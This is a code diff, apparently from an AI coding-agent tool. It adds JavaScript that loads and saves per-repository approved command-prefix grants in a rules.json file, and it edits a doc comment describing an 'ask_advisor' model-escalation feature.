179
+ export function describePrefix(pattern) {
180
+ return `${pattern.join(" ")} …`;
181
+ }
182
+ // --- I/O half ---
183
+ export function rulesFilePath(homeOverride = null) {
184
+ return join(codeStateHome(homeOverride), "rules.json");
185
+ }
186
+ /**
187
+ * Resolve the grant scope key for a session cwd: the git remote origin URL,
188
+ * falling back to the realpath of the cwd (no remote, not a repo, git
189
+ * missing). Fail-soft — never throws.
190
+ */
191
+ export function resolveRepoKey(cwd) {
192
+ try {
193
+ const url = execFileSync("git", ["-C", cwd, "remote", "get-url", "origin"], {
194
+ encoding: "utf8",
195
+ stdio: ["ignore", "pipe", "ignore"],
196
+ timeout: 3_000,
197
+ }).trim();
198
+ if (url.length > 0)
199
+ return url;
200
+ }
201
+ catch {
202
+ // fall through to realpath
203
+ }
204
+ try {
205
+ return realpathSync(cwd);
206
+ }
207
+ catch {
208
+ return cwd;
209
+ }
210
+ }
211
+ /** Load persisted grants. Malformed or missing file → empty (fail-soft). */
212
+ export function loadGrants(homeOverride = null) {
213
+ try {
214
+ const path = rulesFilePath(homeOverride);
215
+ if (!existsSync(path))
216
+ return [];
217
+ const parsed = JSON.parse(readFileSync(path, "utf8"));
218
+ if (parsed?.version !== 1 || !Array.isArray(parsed.grants))
219
+ return [];
220
+ return parsed.grants.filter((g) => Array.isArray(g?.pattern) &&
221
+ g.pattern.length > 0 &&
222
+ g.pattern.every((t) => typeof t === "string") &&
223
+ typeof g.repoKey === "string" &&
224
+ typeof g.addedAt === "string" &&
225
+ typeof g.cwd === "string");
226
+ }
227
+ catch {
228
+ return [];
229
+ }
230
+ }
231
+ /**
232
+ * Persist a new grant: re-read the file, merge (drop exact duplicates), write.
233
+ * The re-read is the concurrency guard — a parallel session's grant appended
234
+ * between our load and this call survives. Returns the merged list; throws
235
+ * never (fail-soft, returns the in-memory merge even if the write fails).
236
+ */
237
+ export function appendGrant(grant, homeOverride = null) {
238
+ const current = loadGrants(homeOverride);
239
+ const isDuplicate = current.some((g) => g.repoKey === grant.repoKey && g.pattern.join("") === grant.pattern.join(""));
240
+ const merged = isDuplicate ? current : [...current, grant];
241
+ try {
242
+ const path = rulesFilePath(homeOverride);
243
+ mkdirSync(dirname(path), { recursive: true });
244
+ const file = { version: 1, grants: merged };
245
+ writeFileSync(path, `${JSON.stringify(file, null, 2)}\n`, "utf8");
246
+ }
247
+ catch {
248
+ // Fail-soft: the in-memory grant still applies for this session.
249
+ }
250
+ return merged;
251
+ }
252
+ //# sourceMappingURL=approvedPrefixes.js.map
@@ -1,7 +1,7 @@
1
1
  /**
2
- * `ask_advisor` — the peak-tier escalation available to Balanced sessions (YAG-380).
2
+ * `ask_advisor` — the peak-tier escalation available to Advanced sessions (YAG-380).
3
3
  *
4
- * Cheap driver, expensive consultant: a Balanced session drives on `advanced` and
4
+ * Cheap driver, expensive consultant: an Advanced session drives on `advanced` and
5
5
  * calls this when it hits a judgment call worth the strongest model. The consult
6
6
  * spawns a child pi at `peak` through the same `runStage` seam `/go` uses, and
7
7
  * returns the advice as plain TEXT the driver acts on — text we own, so